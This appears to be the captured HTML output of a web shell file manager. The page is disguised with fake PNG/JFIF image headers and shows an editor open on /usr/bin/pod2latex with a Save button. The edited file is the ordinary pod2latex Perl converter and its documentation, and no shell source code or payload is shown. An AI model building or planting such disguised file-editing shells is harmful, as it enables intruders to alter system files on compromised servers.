�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fbin%2F'>bin</a>/</p><hr><h3>✏️ Editing: pod2latex</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/usr/bin/perl 
    eval 'exec /usr/bin/perl -S $0 ${1+&quot;$@&quot;}'
	if $running_under_some_shell;

# pod2latex conversion program

use strict;
use Pod::LaTeX;
use Pod::Find qw/ pod_find /;
use Pod::Usage;
use Getopt::Long;
use File::Basename;
use Symbol;

my $VERSION = &quot;1.01&quot;;

# return the entire contents of a text file
# whose name is given as argument
sub _get {
    my $fn = shift;
    my $infh = gensym;
    open $infh, $fn
        or die &quot;Could not open file $fn: $!\n&quot;;
    local $/;
    return &lt;$infh&gt;;
}

# Read command line arguments

my %options = (
	       &quot;help&quot;   =&gt; 0,
	       &quot;man&quot;    =&gt; 0,
	       &quot;sections&quot; =&gt; [],
	       &quot;full&quot;   =&gt; 0,
	       &quot;out&quot;    =&gt; undef,
	       &quot;verbose&quot; =&gt; 0,
	       &quot;modify&quot; =&gt; 0,
	       &quot;h1level&quot; =&gt; 1,  # section is equivalent to H1
	       &quot;preamble&quot; =&gt; [],
	       &quot;postamble&quot; =&gt; [],
	      );
# &quot;prefile&quot; is just like &quot;preamble&quot;, but the argument 
# comes from the file named by the argument
$options{&quot;prefile&quot;} = sub { shift; push @{$options{&quot;preamble&quot;}}, _get(shift) };
# the same between &quot;postfile&quot; and &quot;postamble&quot;
$options{&quot;postfile&quot;} = sub { shift; push @{$options{&quot;postamble&quot;}}, _get(shift) };

GetOptions(\%options, 
	   &quot;help&quot;,
	   &quot;man&quot;,
	   &quot;verbose&quot;,
	   &quot;full&quot;,
	   &quot;sections=s@&quot;,
	   &quot;out=s&quot;,
	   &quot;modify&quot;,
	   &quot;h1level=i&quot;,
	   &quot;preamble=s@&quot;,
	   &quot;postamble=s@&quot;,
	   &quot;prefile=s&quot;, 
	   &quot;postfile=s&quot;
	  ) || pod2usage(2);

pod2usage(1)  if ($options{help});
pod2usage(-verbose =&gt; 2)  if ($options{man});


# Read all the files from the command line
my @files = @ARGV;

# Now find which ones are real pods and convert 
# directories to their contents.

# Extract the pods from each arg since some of them might
# be directories
# This is not as efficient as using pod_find to search through
# everything at once but it allows us to preserve the order 
# supplied by the user

my @pods;
foreach my $arg (@files) {
  my %pods = pod_find($arg);
  push(@pods, sort keys %pods);
}

# Abort if nothing to do
if ($#pods == -1) {
  warn &quot;None of the supplied Pod files actually exist\n&quot;;
  exit;
}

# Only want to override the preamble and postamble if we have
# been given values.
my %User;
$User{UserPreamble} = join(&quot;\n&quot;, @{$options{'preamble'}})
  if ($options{preamble} &amp;&amp; @{$options{preamble}});
$User{UserPostamble} = join(&quot;\n&quot;, @{$options{'postamble'}})
  if ($options{postamble} &amp;&amp; @{$options{postamble}});



# If $options{'out'} is set we are processing to a single output file
my $multi_documents;
if (exists $options{'out'} &amp;&amp; defined $options{'out'}) {
  $multi_documents = 0;
} else {
  $multi_documents = 1;
}

# If the output file is not specified it is assumed that
# a single output file is required per input file using
# a .tex extension rather than any existing extension

if ($multi_documents) {

  # Case where we just generate one input per output

  foreach my $pod (@pods) {

    if (-f $pod) {

      my $output = $pod;
      $output = basename($output, '.pm', '.pod','.pl') . '.tex';

      # Create a new parser object
      my $parser = new Pod::LaTeX(
				  AddPreamble =&gt; $options{'full'},
				  AddPostamble =&gt; $options{'full'},
				  MakeIndex =&gt; $options{'full'},
				  TableOfContents =&gt; $options{'full'},
				  ReplaceNAMEwithSection =&gt; $options{'modify'},
				  UniqueLabels =&gt; $options{'modify'},
				  Head1Level =&gt; $options{'h1level'},
				  LevelNoNum =&gt; $options{'h1level'} + 1,
                                  %User,
				 );

      # Select sections if supplied
      $parser-&gt;select(@{ $options{'sections'}})
	if @{$options{'sections'}};

      # Derive the input file from the output file
      $parser-&gt;parse_from_file($pod, $output);

      print &quot;Written output to $output\n&quot; if $options{'verbose'};

    } else {
      warn &quot;File $pod not found\n&quot;;
    }

  }
} else {

  # Case where we want everything to be in a single document

  # Need to open the output file ourselves
  my $output = $options{'out'};
  $output .= '.tex' unless $output =~ /\.tex$/;

  # Use auto-vivified file handle in perl 5.6
  my $outfh = gensym;
  open ($outfh, &quot;&gt;$output&quot;) || die &quot;Could not open output file: $!\n&quot;;

  # Flag to indicate whether we have converted at least one file
  # indicates how many files have been converted
  my $converted = 0;

  # Loop over the input files
  foreach my $pod (@pods) {

    if (-f $pod) {

      warn &quot;Converting $pod\n&quot; if $options{'verbose'};

      # Open the file (need the handle)
      # Use auto-vivified handle in perl 5.6
      my $podfh = gensym;
      open ($podfh, &quot;&lt;$pod&quot;) || die &quot;Could not open pod file $pod: $!\n&quot;;

      # if this is the first file to be converted we may want to add
      # a preamble (controlled by command line option)
      my $preamble = 0;
      $preamble = 1 if ($converted == 0 &amp;&amp; $options{'full'});

      # if this is the last file to be converted may want to add
      # a postamble (controlled by command line option)
      # relies on a previous pass to check existence of all pods we
      # are converting.
      my $postamble = ( ($converted == $#pods &amp;&amp; $options{'full'}) ? 1 : 0 );

      # Open parser object
      # May want to start with a preamble for the first one and
      # end with an index for the last
      my $parser = new Pod::LaTeX(
				  MakeIndex =&gt; $options{'full'},
				  TableOfContents =&gt; $preamble,
				  ReplaceNAMEwithSection =&gt; $options{'modify'},
				  UniqueLabels =&gt; $options{'modify'},
				  StartWithNewPage =&gt; $options{'full'},
				  AddPreamble =&gt; $preamble,
				  AddPostamble =&gt; $postamble,
				  Head1Level =&gt; $options{'h1level'},
				  LevelNoNum =&gt; $options{'h1level'} + 1,
                                  %User
				 );

      # Store the file name for error messages
      # This is a kluge that breaks the data hiding of the object
      $parser-&gt;{_INFILE} = $pod;

      # Select sections if supplied
      $parser-&gt;select(@{ $options{'sections'}})
	if @{$options{'sections'}};

      # Parse it
      $parser-&gt;parse_from_filehandle($podfh, $outfh);

      # We have converted at least one file
      $converted++;

    } else {
      warn &quot;File $pod not found\n&quot;;
    }

  }

  # Should unlink the file if we didn't convert anything!
  # dont check for return status of unlink
  # since there is not a lot to be done if the unlink failed
  # and the program does not rely upon it.
  unlink &quot;$output&quot; unless $converted;

  # If verbose
  warn &quot;Converted $converted files\n&quot; if $options{'verbose'};

}

exit;

__END__

=head1 NAME

pod2latex - convert pod documentation to latex format

=head1 SYNOPSIS

  pod2latex *.pm

  pod2latex -out mytex.tex *.pod

  pod2latex -full -sections 'DESCRIPTION|NAME' SomeDir

  pod2latex -prefile h.tex -postfile t.tex my.pod

=head1 DESCRIPTION

C&lt;pod2latex&gt; is a program to convert POD format documentation
(L&lt;perlpod&gt;) into latex. It can process multiple input documents at a
time and either generate a latex file per input document or a single
combined output file.

=head1 OPTIONS AND ARGUMENTS

This section describes the supported command line options. Minimum
matching is supported.

=over 4

=item B&lt;-out&gt;

Name of the output file to be used. If there are multiple input pods
it is assumed that the intention is to write all translated output
into a single file. C&lt;.tex&gt; is appended if not present.  If the
argument is not supplied, a single document will be created for each
input file.

=item B&lt;-full&gt;

Creates a complete C&lt;latex&gt; file that can be processed immediately
(unless C&lt;=for/=begin&gt; directives are used that rely on extra packages).
Table of contents and index generation commands are included in the
wrapper C&lt;latex&gt; code.

=item B&lt;-sections&gt;

Specify pod sections to include (or remove if negated) in the
translation.  See L&lt;Pod::Select/&quot;SECTION SPECIFICATIONS&quot;&gt; for the
format to use for I&lt;section-spec&gt;. This option may be given multiple
times on the command line.This is identical to the similar option in
the C&lt;podselect()&gt; command.

=item B&lt;-modify&gt;

This option causes the output C&lt;latex&gt; to be slightly
modified from the input pod such that when a C&lt;=head1 NAME&gt;
is encountered a section is created containing the actual
pod name (rather than B&lt;NAME&gt;) and all subsequent C&lt;=head1&gt;
directives are treated as subsections. This has the advantage
that the description of a module will be in its own section
which is helpful for including module descriptions in documentation.
Also forces C&lt;latex&gt; label and index entries to be prefixed by the
name of the module.

=item B&lt;-h1level&gt;

Specifies the C&lt;latex&gt; section that is equivalent to a C&lt;H1&gt; pod
directive. This is an integer between 0 and 5 with 0 equivalent to a
C&lt;latex&gt; chapter, 1 equivalent to a C&lt;latex&gt; section etc. The default
is 1 (C&lt;H1&gt; equivalent to a latex section).

=item B&lt;-help&gt;

Print a brief help message and exit.

=item B&lt;-man&gt;

Print the manual page and exit.

=item B&lt;-verbose&gt;

Print information messages as each document is processed.

=item B&lt;-preamble&gt;

A user-supplied preamble for the LaTeX code. Multiple values
are supported and appended in order separated by &quot;\n&quot;.
See B&lt;-prefile&gt; for reading the preamble from a file.

=item B&lt;-postamble&gt;

A user supplied postamble for the LaTeX code. Multiple values
are supported and appended in order separated by &quot;\n&quot;.
See B&lt;-postfile&gt; for reading the postamble from a file.

=item B&lt;-prefile&gt;

A user-supplied preamble for the LaTeX code to be read from the
named file. Multiple values are supported and appended in
order. See B&lt;-preamble&gt;.

=item B&lt;-postfile&gt;

A user-supplied postamble for the LaTeX code to be read from the
named file. Multiple values are supported and appended in
order. See B&lt;-postamble&gt;.

=back

=head1 BUGS

Known bugs are:

=over 4

=item *

Cross references between documents are not resolved when multiple
pod documents are converted into a single output C&lt;latex&gt; file.

=item *

Functions and variables are not automatically recognized
and they will therefore not be marked up in any special way
unless instructed by an explicit pod command.

=back

=head1 SEE ALSO

L&lt;Pod::LaTeX&gt;

=head1 AUTHOR

Tim Jenness E&lt;lt&gt;tjenness@cpan.orgE&lt;gt&gt;

This program is free software; you can redistribute it
and/or modify it under the same terms as Perl itself.

Copyright (C) 2000, 2003, 2004 Tim Jenness. All Rights Reserved.

=cut

</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fbin'>🔙 Back</a></p>